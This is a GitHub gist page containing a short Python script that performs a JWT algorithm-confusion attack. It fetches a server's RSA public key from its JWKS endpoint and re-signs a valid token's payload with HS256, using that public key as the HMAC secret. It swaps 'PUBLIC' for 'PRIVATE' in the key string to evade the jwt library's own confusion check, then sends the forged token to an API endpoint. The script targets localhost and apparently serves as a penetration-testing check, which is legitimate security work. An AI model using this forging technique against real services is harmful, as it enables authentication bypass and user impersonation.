Skip to content

Instantly share code, notes, and snippets.

@andreashappe
Created May 17, 2019 06:53
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save andreashappe/94f7f998550d2b0bdad756eeb74f731a to your computer and use it in GitHub Desktop.
Save andreashappe/94f7f998550d2b0bdad756eeb74f731a to your computer and use it in GitHub Desktop.
import jwt
import requests
from jwcrypto import jwk
from cryptography.x509 import load_pem_x509_certificate
from cryptography.hazmat.backends import default_backend
# configuration
jwks_url = "https://localhost/oauth2/.well-known/jwks.json"
operation_url = "https://localhost/web/v1/user/andy"
audience = "https://localhost"
token = "eyJh..."
# retrieves key from jwks
def retrieve_jwks(url):
r = requests.get(url)
if r.status_code == 200:
for key in r.json()['keys']:
if key['kty'] == "RSA":
return jwk.JWK(**key)
print("no usable RSA key found")
else:
print("could not retrieve JWKS: HTTP status code " + str(r.status_code))
def extract_payload(token, public_key, audience):
return jwt.decode(token, public_key, audience=audience, algorithms='RS256')
def retrieve_url(url, token):
header = {'Authorization' : "Bearer " + token}
return requests.get(url, headers=header)
# call the original operation and output it's results
original = retrieve_url(operation_url, token)
print("original: status: " + str(original.status_code) + "\nContent: " + str(original.json()))
# get key and extract the original payload (verify it during decoding to make
# sure that we have the right key, also verify the audience claim)
public_key = retrieve_jwks(jwks_url).export_to_pem()
payload = extract_payload(token, public_key, audience)
print("(verified) payload: " + str(payload))
# create a new token based upon HS256, cause the jwt library checks this
# to prevent against confusion attacks.. that we actually try to do (:
mac_key = str(public_key).replace("PUBLIC", "PRIVATE")
hs256_token = jwt.encode(payload, key=mac_key, algorithm="HS256")
# call the operation with the new token
modified = retrieve_url(operation_url, str(hs256_token))
print("modified: status: " + str(modified.status_code) + "\nContent: " + str(modified.json()))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment